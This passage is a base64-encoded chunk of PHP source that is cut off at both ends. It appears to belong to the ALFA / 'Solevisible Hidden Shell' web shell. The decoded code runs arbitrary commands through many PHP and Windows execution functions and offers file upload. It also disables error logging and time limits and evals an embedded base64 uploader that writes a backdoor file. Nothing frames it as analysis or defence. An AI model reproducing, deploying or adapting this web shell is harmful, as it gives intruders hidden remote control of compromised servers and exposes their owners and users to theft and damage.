hc3B4IiwkYXNweCk7CgkJCX1lbHNlewoJCQkJYWxmYVdyaXRlVG9jZ2lhcGkoJGxhbmcuIi5hbGZhIiwkc291cmNlKTsKCQkJfQoJCQlhbGZhY2dpaHRhY2Nlc3MoJ2NnaScsICJhbGZhY2dpYXBpLyIpOwoJCX1lbHNlewoJCQkkbGFuZyA9ICRfQ09PS0lFWyJhbGZhY2dpYXBpIl07CgkJfQoJCSRjZ2lfZXh0ID0gIi5hbGZhIjsKCQlpZigkbGFuZz09ImFzcHgiKXsKCQkJJGNnaV9leHQgPSAiLmFzcHgiOwoJCX0KCQkkY2dpX3VybCA9IF9fQUxGQV9EQVRBX0ZPTERFUl9fLiIvYWxmYWNnaWFwaS8iLiRsYW5nLiRjZ2lfZXh0OwoJCSRjbWQgPSAiY2hlY2s9VzNOdmJHVjJhWE5wWW14bGZtRndhVjA9JmNtZD0iLl9fWlc1amIyUmxjZygiY2QgIi4kR0xPQkFMU1snY3dkJ10uIjsiLiRjbWQpOwoJCWlmKCRpc19jdXJsKXsKCQkJJGFkZHJlc3MgPSAoJF9TRVJWRVJbJ1NFUlZFUl9QT1JUJ10gPT0gNDQzID8gImh0dHBzOi8vIiA6ICJodHRwOi8vIikuJF9TRVJWRVJbIlNFUlZFUl9OQU1FIl0uZGlybmFtZSgkX1NFUlZFUlsiUkVRVUVTVF9VUkkiXSkuIi8iLiRjZ2lfdXJsOwoJCQkkcG9zdCA9IG5ldyBBbGZhQ1VSTCgpOwoJCQkkZGF0YSA9ICRwb3N0LT5TZW5kKCRhZGRyZXNzLCAicG9zdCIsICRjbWQpOwoJCX1lbHNlaWYoJGlzX3NvY2tldCl7CgkJCSRzZXJ2ZXIgPSAkX1NFUlZFUlsiU0VSVkVSX05BTUUiXTsKCQkJJHVyaSA9IGRpcm5hbWUoJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0pLiIvIi4kY2dpX3VybDsKCQkJJGRhdGEgPSBfYWxmYV9mc29ja29wZW4oJHNlcnZlciwkdXJpLCRjbWQpOwoJCX0KCQkkb3V0ID0gIiI7CgkJaWYoc3RycG9zKCRkYXRhLCAiW3NvbGV2aXNpYmxlfmFwaV0iKSAhPT0gZmFsc2UgJiYgc3RycG9zKCRkYXRhLCAnW3NvbGV2aXNpYmxlfmFwaV08cHJlPiIrb3V0cHV0KyI8L3ByZT4nKSA9PT0gZmFsc2UpewoJCQlpZigkc2V0X2Nvb2tpZSl7CgkJCQlfX2FsZmFfc2V0X2Nvb2tpZSgiYWxmYWNnaWFwaSIsICRsYW5nKTsKCQkJfQoJCQlpZihAcHJlZ19tYXRjaCgiLzxwcmU+KC4qPyk8XC9wcmU+L3MiLCAkZGF0YSwgJHJlcykpewoJCQkJJG91dCA9ICRyZXNbMV07CgkJCX0KCQl9ZWxzZWlmKCRsYW5nPT0icGVybCIpewoJCQlyZXR1cm4gX2FsZmFfY2dpY21kKCRjbWRfcHVyZSwicHkiLCRzZXRfY29va2llKTsKCQl9ZWxzZWlmKCRsYW5nPT0icHkiKXsKCQkJcmV0dXJuIF9hbGZhX2NnaWNtZCgkY21kX3B1cmUsImJhc2giLCRzZXRfY29va2llKTsKCQl9ZWxzZWlmKCRsYW5nPT0iYmFzaCIgJiYgJEdMT0JBTFNbJ3N5cyddPT0id2luIil7CgkJCXJldHVybiBfYWxmYV9jZ2ljbWQoJGNtZF9wdXJlLCJhc3B4Iiwkc2V0X2Nvb2tpZSk7CgkJfWVsc2V7CgkJCWlmKCRzZXRfY29va2llKXsKCQkJCV9fYWxmYV9zZXRfY29va2llKCJhbGZhY2dpYXBpX21vZGUiLCAib2ZmIik7CgkJCX0KCQl9CgkJcmV0dXJuIHRyaW0oJG91dCk7Cgl9ZWxzZXsKCQlyZXR1cm4gIiI7Cgl9Cn0KZnVuY3Rpb24gYWxmYUdldEN3ZCgpewoJaWYoZnVuY3Rpb25fZXhpc3RzKCJnZXRjd2QiKSl7CgkJcmV0dXJuIEBnZXRjd2QoKTsKCX1lbHNlewoJCXJldHVybiBkaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7Cgl9Cn0KZnVuY3Rpb24gYWxmYUV4KCRpbiwkcmU9ZmFsc2UsJGNnaT10cnVlLCRhbGw9ZmFsc2UpewoJJGRhdGEgPSBfYWxmYV9waHBfY21kKCRpbiwkcmUpOwoJaWYoZW1wdHkoJGRhdGEpJiYkY2dpfHwkYWxsKXsKCQlpZigkR0xPQkFMU1snc3lzJ109PSd1bml4Jyl7CgkJCWlmKHN0cmxlbihfYWxmYV9waHBfY21kKCJ3aG9hbWkiKSk9PTB8fCRhbGwpewoJCQkJJGNtZCA9IF9hbGZhX2NnaWNtZCgkaW4pOwoJCQkJaWYoIWVtcHR5KCRjbWQpKXsKCQkJCQlyZXR1cm4gJGNtZDsKCQkJCX0KCQkJfQoJCX0KCX0KCXJldHVybiAkZGF0YTsKfQpmdW5jdGlvbiBfYWxmYV9waHBfY21kKCRpbiwkcmU9ZmFsc2Upewokb3V0PScnOwp0cnl7CmlmKCRyZSkkaW49JGluLiIgMj4mMSI7CmlmKGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpKXsKQGV4ZWMoJGluLCRvdXQpOwokb3V0ID0gQGpvaW4oIlxuIiwkb3V0KTsKfWVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1JykpIHsKb2Jfc3RhcnQoKTsKQHBhc3N0aHJ1KCRpbik7CiRvdXQgPSBvYl9nZXRfY2xlYW4oKTsKfWVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3N5c3RlbScpKXsKb2Jfc3RhcnQoKTsKQHN5c3RlbSgkaW4pOwokb3V0ID0gb2JfZ2V0X2NsZWFuKCk7Cn0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSkgewokb3V0ID0gc2hlbGxfZXhlYygkaW4pOwp9ZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygicG9wZW4iKSYmZnVuY3Rpb25fZXhpc3RzKCJwY2xvc2UiKSl7CmlmKGlzX3Jlc291cmNlKCRmID0gQHBvcGVuKCRpbiwiciIpKSl7CiRvdXQgPSAiIjsKd2hpbGUoIUBmZW9mKCRmKSkKJG91dCAuPSBmcmVhZCgkZiwxMDI0KTsKcGNsb3NlKCRmKTsKfQp9ZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygncHJvY19vcGVuJykpewokcGlwZXMgPSBhcnJheSgpOwokcHJvY2VzcyA9IEBwcm9jX29wZW4oJGluLicgMj4mMScsIGFycmF5KGFycmF5KCJwaXBlIiwidyIpLCBhcnJheSgicGlwZSIsInciKSwgYXJyYXkoInBpcGUiLCJ3IikpLCAkcGlwZXMsIG51bGwpOwokb3V0PUBzdHJlYW1fZ2V0X2NvbnRlbnRzKCRwaXBlc1sxXSk7Cn1lbHNlaWYoY2xhc3NfZXhpc3RzKCdDT00nKSl7CiRhbGZhV3MgPSBuZXcgQ09NKCdXU2NyaXB0LnNoZWxsJyk7CiRleGVjID0gJGFsZmFXcy0+ZXhlYygnY21kLmV4ZSAvYyAnLiRfUE9TVFsnYWxmYTEnXSk7CiRzdGRvdXQgPSAkZXhlYy0+U3RkT3V0KCk7CiRvdXQ9JHN0ZG91dC0+UmVhZEFsbCgpOwp9Cn1jYXRjaChFeGNlcHRpb24gJGUpe30KcmV0dXJuICRvdXQ7Cn0KZnVuY3Rpb24gX2FsZmFfZnNvY2tvcGVuKCRzZXJ2ZXIsJHVyaSwkcG9zdCl7Cgkkc29ja2V0ID0gQGZzb2Nrb3Blbigkc2VydmVyLCA4MCwgJGVycm5vLCAkZXJyc3RyLCAxNSk7CglpZigkc29ja2V0KXsKCQkkaHR0cCAgPSAiUE9TVCB7JHVyaX0gSFRUUC8xLjBcclxuIjsKCQkkaHR0cCAuPSAiSG9zdDogeyRzZXJ2ZXJ9XHJcbiI7CgkJJGh0dHAgLj0gIlVzZXItQWdlbnQ6ICIgLiAkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10gLiAiXHJcbiI7CgkJJGh0dHAgLj0gIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkXHJcbiI7CgkJJGh0dHAgLj0gIkNvbnRlbnQtbGVuZ3RoOiAiIC4gc3RybGVuKCRwb3N0KSAuICJcclxuIjsKCQkkaHR0cCAuPSAiQ29ubmVjdGlvbjogY2xvc2VcclxuXHJcbiI7CgkJJGh0dHAgLj0gJHBvc3QgLiAiXHJcblxyXG4iOwoJCWZ3cml0ZSgkc29ja2V0LCAkaHR0cCk7CgkJJGNvbnRlbnRzID0gIiI7CgkJd2hpbGUgKCFAZmVvZigkc29ja2V0KSkgewoJCQkkY29udGVudHMgLj0gQGZnZXRzKCRzb2NrZXQsIDQwOTYpOwoJCX0KCQlsaXN0KCRoZWFkZXIsICRib2R5KSA9IGV4cGxvZGUoIlxyXG5cclxuIiwgJGNvbnRlbnRzLCAyKTsKCQlAZmNsb3NlKCRzb2NrZXQpOwoJCXJldHVybiAkYm9keTsKCX1lbHNlewoJCXJldHVybiAiIjsKCX0KfQppZihpc3NldCgkX0dFVFsic29sZXZpc2libGUiXSkpewpAZXJyb3JfcmVwb3J0aW5nKEVfQUxMIF4gRV9OT1RJQ0UpOwplY2hvICc8aHRtbD4nOwplY2hvICI8dGl0bGU+U29sZXZpc2libGUgSGlkZGVuIFNoZWxsPC90aXRsZT4iOwplY2hvICI8Ym9keSBiZ2NvbG9yPSMwMDAwMDA+IjsKZWNobyAnPGI+PGJpZz48Zm9udCBjb2xvcj0jN0NGQzAwPktlcm5lbCA6IDwvZm9udD48Zm9udCBjb2xvcj0iI0ZGRkZGIj4nLihmdW5jdGlvbl9leGlzdHMoJ3BocF91bmFtZScpP3BocF91bmFtZSgpOic/Pz8nKS4nPC9mb250PjwvYj48L2JpZz4nOwokc2FmZV9tb2RlID0gQGluaV9nZXQoJ3NhZmVfbW9kZScpOwppZigkc2FmZV9tb2RlKXskciA9ICI8YiBzdHlsZT0nY29sb3I6IHJlZCc+T248L2I+Ijt9ZWxzZXskciA9ICI8YiBzdHlsZT0nY29sb3I6IGdyZWVuJz5PZmY8L2I+Ijt9CmVjaG8gIjxicj48YiBzdHlsZT0nY29sb3I6ICM3Q0ZDMDAnPk9TOiA8L2ZvbnQ+PGZvbnQgY29sb3I9d2hpdGU+IiAuIFBIUF9PUyAuICI8L2ZvbnQ+PGJyPiI7CmVjaG8gIjxiIHN0eWxlPSdjb2xvcjogIzdDRkMwMCc+U29mdHdhcmU6IDwvZm9udD48Zm9udCBjb2xvcj13aGl0ZT4iIC4gJF9TRVJWRVIgWydTRVJWRVJfU09GVFdBUkUnXSAuICI8L2ZvbnQ+PGJyPiI7CmVjaG8gIlBIUCBWZXJzaW9uOiA8Zm9udCBjb2xvcj13aGl0ZT4iIC4gUEhQX1ZFUlNJT04gLiAgIjwvZm9udD48YnIgLz4iOwplY2hvICJQV0Q6PGZvbnQgY29sb3I9I0ZGRkZGRj4gIiAuIHN0cl9yZXBsYWNlKCJcXCIsIi8iLEBhbGZhR2V0Q3dkKCkpIC4gIi88YnIgLz4iOwplY2hvICI8YiBzdHlsZT0nY29sb3I6ICM3Q0ZDMDAnPlNhZmUgTW9kZSA6ICRyPGJyPiI7CmVjaG8iPGZvbnQgY29sb3I9IzdDRkMwMD5EaXNhYmxlIGZ1bmN0aW9ucyA6IDwvZm9udD4iOwokZGlzZnVuID0gQGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJyk7CmlmKGVtcHR5KCRkaXNmdW4pKXskZGlzZnVuID0gJzxmb250IGNvbG9yPSJncmVlbiI+Tk9ORTwvZm9udD4nO30KZWNobyI8Zm9udCBjb2xvcj1yZWQ+IjsKZWNobyAiJGRpc2Z1biI7CmVjaG8iPC9mb250Pjxicj4iOwplY2hvICI8YiBzdHlsZT0nY29sb3I6ICM3Q0ZDMDAnPllvdXIgSXAgQWRkcmVzcyBpcyA6ICA8L2ZvbnQ+PGZvbnQgY29sb3I9d2hpdGU+IiAuICRfU0VSVkVSWydSRU1PVEVfQUREUiddIC4gIjwvZm9udD48YnI+IjsKZWNobyAiPGIgc3R5bGU9J2NvbG9yOiAjN0NGQzAwJz5TZXJ2ZXIgSXAgQWRkcmVzcyBpcyA6ICA8L2ZvbnQ+PGZvbnQgY29sb3I9d2hpdGU+Ii4oZnVuY3Rpb25fZXhpc3RzKCdnZXRob3N0YnluYW1lJyk/QGdldGhvc3RieW5hbWUoJF9TRVJWRVJbIkhUVFBfSE9TVCJdKTonPz8/JykuIjwvZm9udD48YnI+PHA+IjsKZWNobyAnPGhyPjxjZW50ZXI+PGZvcm0gb25TdWJtaXQ9InRoaXMudXBsb2FkLmRpc2FibGVkPXRydWU7dGhpcy5jd2QudmFsdWUgPSBidG9hKHVuZXNjYXBlKGVuY29kZVVSSUNvbXBvbmVudCh0aGlzLmN3ZC52YWx1ZSkpKTsiIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG5hbWU9InVwbG9hZGVyIiBpZD0idXBsb2FkZXIiPic7CmVjaG8gJ0NXRDogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImN3ZCIgdmFsdWU9Iicuc3RyX3JlcGxhY2UoIlxcIiwiLyIsQGFsZmFHZXRDd2QoKSkuJy8iIHNpemU9IjU5Ij48cD48aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgc2l6ZT0iNDUiPjxpbnB1dCBuYW1lPSJ1cGxvYWQiIHR5cGU9InN1Ym1pdCIgaWQ9Il91cGwiIHZhbHVlPSJVcGxvYWQiPjwvcD48L2Zvcm0+PC9jZW50ZXI+JzsKaWYoaXNzZXQoJF9GSUxFU1snZmlsZSddKSl7CmlmKEBtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCBfX1pHVmpiMlJsY2coQCRfUE9TVFsnY3dkJ10pLicvJy4kX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSkpe2VjaG8gJzxiPjxmb250IGNvbG9yPSIjN0NGQzAwIj48Y2VudGVyPlVwbG9hZCBTdWNjZXNzZnVsbHkgOyk8L2ZvbnQ+PC9hPjxmb250IGNvbG9yPSIjN0NGQzAwIj48L2I+PGJyPjxicj48L2NlbnRlcj4nOyB9CmVsc2V7ZWNobyAnPGNlbnRlcj48Yj48Zm9udCBjb2xvcj0iIzdDRkMwMCI+VXBsb2FkIGZhaWxlZCA6KDwvZm9udD48L2E+PGZvbnQgY29sb3I9IiM3Q0ZDMCI+PC9iPjwvY2VudGVyPjxicj48YnI+JzsgfQp9CmVjaG8gJzxocj48Zm9ybSBvblN1Ym1pdD0idGhpcy5leGVjdXRlLmRpc2FibGVkPXRydWU7dGhpcy5jb21tYW5kX3NvbGV2aXNpYmxlLnZhbHVlID0gYnRvYSh1bmVzY2FwZShlbmNvZGVVUklDb21wb25lbnQodGhpcy5jb21tYW5kX3NvbGV2aXNpYmxlLnZhbHVlKSkpOyIgbWV0aG9kPSJQT1NUIj5FeGVjdXRlIENvbW1hbmQ6IDxpbnB1dCBuYW1lPSJjb21tYW5kX3NvbGV2aXNpYmxlIiB2YWx1ZT0iIiBzaXplPSI1OSIgdHlwZT0idGV4dCIgYWxpZ249ImxlZnQiID48aW5wdXQgbmFtZT0iZXhlY3V0ZSIgdmFsdWU9IkV4ZWN1dGUiIHR5cGU9InN1Ym1pdCI+PGJyPjwvZm9ybT4KPGhyPjxwcmU+JzsKaWYoaXNzZXQoJF9QT1NUWydjb21tYW5kX3NvbGV2aXNpYmxlJ10pKXsKaWYoc3RydG9sb3dlcihzdWJzdHIoUEhQX09TLDAsMykpPT0id2luIikkc2VwYXJhdG9yPScmJztlbHNlICRzZXBhcmF0b3I9JzsnOwokc29sZXZpc2libGUgPSAiY2QgJyIuYWRkc2xhc2hlcyhzdHJfcmVwbGFjZSgiXFwiLCIvIixAYWxmYUdldEN3ZCgpKSkuIiciLiRzZXBhcmF0b3IuIiIuX19aR1ZqYjJSbGNnKCRfUE9TVFsnY29tbWFuZF9zb2xldmlzaWJsZSddKTsKZWNobyBhbGZhRXgoJHNvbGV2aXNpYmxlKTsKfQplY2hvJzwvcHJlPgo8L2JvZHk+PC9odG1sPic7CmV4aXQ7fQpAZXJyb3JfcmVwb3J0aW5nKEVfQUxMIF4gRV9OT1RJQ0UpOwpAaW5pX3NldCgnZXJyb3JfbG9nJyxOVUxMKTsKQGluaV9zZXQoJ2xvZ19lcnJvcnMnLDApOwpAaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywwKTsKQGluaV9zZXQoJ21hZ2ljX3F1b3Rlc19ydW50aW1lJywgMCk7CkBzZXRfdGltZV9saW1pdCgwKTsKaWYoZnVuY3Rpb25fZXhpc3RzKCdzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUnKSl7CkBzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7Cn0KZm9yZWFjaCgkX1BPU1QgYXMgJGtleSA9PiAkdmFsdWUpewppZihpc19hcnJheSgkX1BPU1RbJGtleV0pKXsKJGk9MDsKZm9yZWFjaCgkX1BPU1RbJGtleV0gYXMgJGYpIHsKJGYgPSB0cmltKHN0cl9yZXBsYWNlKCcgJywgJysnLCRmKSk7CiRfUE9TVFska2V5XVskaV0gPSBkZWNyeXB0X3Bvc3QoJGYpOwokaSsrOwp9Cn1lbHNlewokdmFsdWUgPSB0cmltKHN0cl9yZXBsYWNlKCcgJywgJysnLCR2YWx1ZSkpOwokX1BPU1RbJGtleV0gPSBkZWNyeXB0X3Bvc3QoJHZhbHVlKTsKfQp9CiRkZWZhdWx0X2FjdGlvbiA9ICdGaWxlc01hbjInOy8vJ0ZpbGVzTWFuJzsKJGRlZmF1bHRfdXNlX2FqYXggPSB0cnVlOwokZGVmYXVsdF9jaGFyc2V0ID0gJ1dpbmRvd3MtMTI1MSc7CmlmKHN0cnRvbG93ZXIoc3Vic3RyKFBIUF9PUywwLDMpKT09IndpbiIpCiRHTE9CQUxTWydzeXMnXT0nd2luJzsKZWxzZQokR0xPQkFMU1snc3lzJ109J3VuaXgnOwokR0xPQkFMU1snaG9tZV9jd2QnXSA9IEBhbGZhR2V0Q3dkKCk7CiRHTE9CQUxTWyJuZWVkX3RvX3VwZGF0ZV9oZWFkZXIiXSA9ICJmYWxzZSI7CiRHTE9CQUxTWydnbG9iX2NoZGlyX2ZhbHNlJ10gPSBmYWxzZTsKaWYoaXNzZXQoJF9QT1NUWydjJ10pKXsKaWYoIUBjaGRpcigkX1BPU1RbJ2MnXSkpewoJJEdMT0JBTFNbJ2dsb2JfY2hkaXJfZmFsc2UnXSA9IHRydWU7Cn0KfQokR0xPQkFMU1snY3dkJ10gPSAoaXNzZXQoJF9QT1NUWydjJ10pICYmIEBpc19kaXIoJF9QT1NUWydjJ10pID8kX1BPU1RbJ2MnXTpAYWxmYUdldEN3ZCgpKTsKaWYoJEdMT0JBTFNbJ2dsb2JfY2hkaXJfZmFsc2UnXSl7CgkkR0xPQkFMU1snY3dkJ10gPSAoaXNzZXQoJF9QT1NUWydjJ10pICYmICFlbXB0eSgkX1BPU1RbJ2MnXSkgPyAkX1BPU1RbJ2MnXSA6IEBhbGZhR2V0Q3dkKCkpOwp9CmlmKCRHTE9CQUxTWydzeXMnXSA9PSAnd2luJyl7CiRHTE9CQUxTWydob21lX2N3ZCddID0gc3RyX3JlcGxhY2UoIlxcIiwgIi8iLCAkR0xPQkFMU1snaG9tZV9jd2QnXSk7CiRHTE9CQUxTWydjd2QnXSA9IHN0cl9yZXBsYWNlKCJcXCIsICIvIiwgJEdMT0JBTFNbJ2N3ZCddKTsKfQppZigkR0xPQkFMU1snY3dkJ11bc3RybGVuKCRHTE9CQUxTWydjd2QnXSktMV0gIT0gJy8nICkkR0xPQkFMU1snY3dkJ10gLj0gJy8nOwppZighZnVuY3Rpb25fZXhpc3RzKCdzeXNfZ2V0X3RlbXBfZGlyJykpe2Z1bmN0aW9uIHN5c19nZXRfdGVtcF9kaXIoKSB7Zm9yZWFjaCAoYXJyYXkoJ1RNUCcsICdURU1QJywgJ1RNUERJUicpIGFzICRlbnZfdmFyKSB7aWYgKCR0ZW1wID0gZ2V0ZW52KCRlbnZfdmFyKSkge3JldHVybiAkdGVtcDt9fSR0ZW1wID0gdGVtcG5hbSgkR0xPQkFMU1snX19maWxlX3BhdGgnXSwgJycpO2lmIChfYWxmYV9maWxlX2V4aXN0cygkdGVtcCxmYWxzZSkpIHt1bmxpbmsoJHRlbXApO3JldHVybiBkaXJuYW1lKCR0ZW1wKTt9cmV0dXJuIG51bGw7fX0KaWYoIWZ1bmN0aW9uX2V4aXN0cygibWJfc3RybGVuIikpewoJZnVuY3Rpb24gbWJfc3RybGVuKCRzdHIsICRjPSIiKXsKCQlyZXR1cm4gc3RybGVuKCRzdHIpOwoJfQp9CmlmKCFmdW5jdGlvbl9leGlzdHMoIm1iX3N1YnN0ciIpKXsKCWZ1bmN0aW9uIG1iX3N1YnN0cigkc3RyLCAkc3RhcnQsICRlbmQsICRjPSIiKXsKCQlyZXR1cm4gc3Vic3RyKCRzdHIsICRzdGFydCwgJGVuZCk7Cgl9Cn0KZGVmaW5lKCJBTEZBX1RFTVBESVIiLCAoZnVuY3Rpb25fZXhpc3RzKCJzeXNfZ2V0X3RlbXBfZGlyIikgPyAoQGlzX3dyaXRhYmxlKHN0cl9yZXBsYWNlKCdcXCcsJy8nLHN5c19nZXRfdGVtcF9kaXIoKSkpP3N5c19nZXRfdGVtcF9kaXIoKTooQGlzX3dyaXRhYmxlKCcuJyk/Jy4nOmZhbHNlKSkgOiBmYWxzZSkpOwpmdW5jdGlvbiBhbGZhaGVhZCgpewokR0xPQkFMU1snX19BTEZBX1NIRUxMX0NPREUnXSA9ICdQRDl3YUhBZ1pXTm9ieUFpUEhScGRHeGxQbE52YkdWMmFYTnBZbXhsSUZWd2JHOWhaR1Z5UEM5MGFYUnNaVDVjYmp4aWIyUjVJR0puWTI5c2IzSTlJekF3TURBd01ENWNianhpY2o1Y2JqeGpaVzUwWlhJK1BHWnZiblFnWTI5c2IzSTlYQ0ozYUdsMFpWd2lQanhpUGxsdmRYSWdTWEFnUVdSa2NtVnpjeUJwY3p3dllqNGdQR1p2Ym5RZ1kyOXNiM0k5WENKM2FHbDBaVndpUGp3dlptOXVkRDQ4TDJObGJuUmxjajVjYmp4aWFXYytQR1p2Ym5RZ1kyOXNiM0k5WENJak4wTkdRekF3WENJK1BHTmxiblJsY2o1Y2JpSTdaV05vYnlBa1gxTkZVbFpGVWxzblVrVk5UMVJGWDBGRVJGSW5YVHRsWTJodklDSThMMk5sYm5SbGNqNDhMMlp2Ym5RK1BDOWhQanhtYjI1MElHTnZiRzl5UFZ3aUl6ZERSa013TUZ3aVBseHVQR0p5UGx4dVBHSnlQbHh1UEdObGJuUmxjajQ4Wm05dWRDQmpiMnh2Y2oxY0lpTTNRMFpETURCY0lqNDhZbWxuUGxOdmJHVjJhWE5wWW14bElGVndiRzloWkNCQmNtVmhQQzlpYVdjK1BDOW1iMjUwUGp3dllUNDhabTl1ZENCamIyeHZjajFjSWlNM1EwWkRNREJjSWo0OEwyWnZiblErUEM5alpXNTBaWEkrUEdKeVBseHVQR05sYm5SbGNqNDhabTl5YlNCdFpYUm9iMlE5SjNCdmMzUW5JR1Z1WTNSNWNHVTlKMjExYkhScGNHRnlkQzltYjNKdExXUmhkR0VuSUc1aGJXVTlKM1Z3Ykc5aFpHVnlKejRpTzJWamFHOGdKenhwYm5CMWRDQjBlWEJsUFNKbWFXeGxJaUJ1WVcxbFBTSm1hV3hsSWlCemFYcGxQU0kwTlNJK1BHbHVjSFYwSUc1aGJXVTlJbDkxY0d3aUlIUjVjR1U5SW5OMVltMXBkQ0lnYVdROUlsOTFjR3dpSUhaaGJIVmxQU0pWY0d4dllXUWlQand2Wm05eWJUNDhMMk5sYm5SbGNqNG5PMmxtS0dsemMyVjBLQ1JmVUU5VFZGc25YM1Z3YkNkZEtTWW1KRjlRVDFOVVd5ZGZkWEJzSjEwOVBTQWlWWEJzYjJGa0lpbDdhV1lvUUcxdmRtVmZkWEJzYjJGa1pXUmZabWxzWlNna1gwWkpURVZUV3lkbWFXeGxKMTFiSjNSdGNGOXVZVzFsSjEwc0lDUmZSa2xNUlZOYkoyWnBiR1VuWFZzbmJtRnRaU2RkS1NrZ2UyVmphRzhnSnp4aVBqeG1iMjUwSUdOdmJHOXlQU0lqTjBOR1F6QXdJajQ4WTJWdWRHVnlQbFZ3Ykc5aFpDQlRkV05qWlhOelpuVnNiSGtnT3lrOEwyWnZiblErUEM5aFBqeG1iMjUwSUdOdmJHOXlQU0lqTjBOR1F6QXdJajQ4TDJJK1BHSnlQanhpY2o0bk8zMWxiSE5sZTJWamFHOGdKenhpUGp4bWIyNTBJR052Ykc5eVBTSWpOME5HUXpBd0lqNDhZMlZ1ZEdWeVBsVndiRzloWkNCbVlXbHNaV1FnT2lnOEwyWnZiblErUEM5aFBqeG1iMjUwSUdOdmJHOXlQU0lqTjBOR1F6QXdJajQ4TDJJK1BHSnlQanhpY2o0bk8zMTlaV05vYnlBblBHTmxiblJsY2o0OGMzQmhiaUJ6ZEhsc1pUMGlabTl1ZEMxemFYcGxPak13Y0hnN0lHSmhZMnRuY205MWJtUTZJSFZ5YkNnbWNYVnZkRHRvZEhSd09pOHZjMjlzWlhacGMybGliR1V1WTI5dEwybHRZV2RsY3k5aVoxOWxabVpsWTNSZmRYQXVaMmxtSm5GMWIzUTdLU0J5WlhCbFlYUXRlQ0J6WTNKdmJHd2dNQ1VnTUNVZ2RISmhibk53WVhKbGJuUTdJR052Ykc5eU9pQnlaV1E3SUhSbGVIUXRjMmhoWkc5M09pQTRjSGdnT0hCNElERXpjSGc3SWo0OGMzUnliMjVuUGp4aVBqeGlhV2MrYzI5c1pYWnBjMmxpYkdWQVoyMWhhV3d1WTI5dFBDOWlQand2WW1sblBqd3ZjM1J5YjI1blBqd3ZjM0JoYmo0OEwyTmxiblJsY2o0bk96OCsnOwokYWxmYV91cGxvYWRlciA9ICckeCA9IGJhc2U2NF9kZWNvZGUoIicuJEdMT0JBTFNbJ19fQUxGQV9TSEVMTF9DT0RFJ10uJyIpOyRzb2xldmlzaWJsZSA9IGZvcGVuKCJzb2xldmlzaWJsZS5waHAiLCJ3Iik7ZndyaXRlKCRzb2xldmlzaWJsZSwkeCk7JzsKZGVmaW5lKCJBTEZBX1VQTE9BREVSIiwgImV2YWwoYmFzZTY0X2RlY29kZSgnIi5fX1pXNWpiMlJsY2coJGFsZmFfdXBsb2FkZXIpLiInKSkiKTsKaWYoIWlzc2V0KCRfUE9TVFsnYWpheCddKSl7CmZ1bmN0aW9uIEFsZmFfR2V0RGlzYWJsZV9GdW5jdGlvbigpewokZGlzZnVuID0gQGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJyk7CiRhZmEgPSAnPHNwYW4gY2xhc3M9ImhlYWRlcl9zaG93X2FsbCI+QWxsIEZ1bmN0aW9ucyBBY2Nlc3NpYmxlPC9zcGFuPic7CmlmKGVtcHR5KCRkaXNmdW4pKXJldHVybigkYWZhKTsKJHMgPSBleHBsb2RlKCcsJywkZGlzZnVuKTsKJHMgPSBhcnJheV91bmlxdWUoJHMpOwokaT0wOwokYj0wOwokZnVuYyA9IGFycmF5KCdzeXN0ZW0nLCdleGVjJywnc2hlbGxfZXhlYycsJ3Byb2Nfb3BlbicsJ3BvcGVuJywncGFzc3RocnUnLCdzeW1saW5rJywnZGwnKTsKJGJsYWNrX2xpc3QgPSBhcnJheSgpOwokYWxsb3dfbGlzdCA9IGFycmF5KCk7CmZvcmVhY2goJHMgYXMgJGQpewoJJGQ9dHJpbSgkZCk7CglpZihlbXB0eSgkZCl8fCFpc19jYWxsYWJsZSgkZCkpY29udGludWU7CglpZighZnVuY3Rpb25fZXhpc3RzKCRkKSl7CgkJaWYoaW5fYXJyYXkoJGQsJGZ1bmMpKXsKCQkJJGRpcyAuPSAkZC4iIHwgIjskYisrOwoJCQkkYmxhY2tfbGlzdFtdID0gJGQ7CgkJfWVsc2V7CgkJCSRhbGxvd19saXN0W10gPSAkZDsKCQl9CgkJJGkrKzsKCX0KfQppZigkaT09MClyZXR1cm4oJGFmYSk7CmlmKCRpIDw9IGNvdW50KCRmdW5jKSl7CiRhbGwgPSBhcnJheV92YWx1ZXMoYXJyYXlfbWVyZ2UoJGJsYWNrX2xpc3QsICRhbGxvd19saXN0KSk7CnJldHVybignPHNwYW4gY2xhc3M9ImRpc2FibGVfZnVuY3Rpb25zIj4nLmltcGxvZGUoIiB8ICIsICRhbGwpLic8L3NwYW4+Jyk7Cn0KcmV0dXJuKCc8c3BhbiBjbGFzcz0iZGlzYWJsZV9mdW5jdGlvbnMiPicuJGRpcy4nPC9zcGFuPjxhIGlkPSJtZW51X29wdF9HZXREaXNGdW5jIiBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJhbGZhX2Nhbl9hZGRfb3B0ID0gdHJ1ZTtnKFwnR2V0RGlzRnVuY1wnLG51bGwsXCd3cFwnKTsiPjxzcGFuIGNsYXNzPSJoZWFkZXJfc2hvd19hbGwiPlNob3cgQWxsICgnLiRpLicpPC9zcGFuPjwvYT4nKTsKfQpmdW5jdGlvbiBBbGZhTnVtKCl7CiRhcmdzID0gZnVuY19nZXRfYXJncygpOwokYWxmYXggPSBhcnJheSgpOwokZmluZCA9IGFy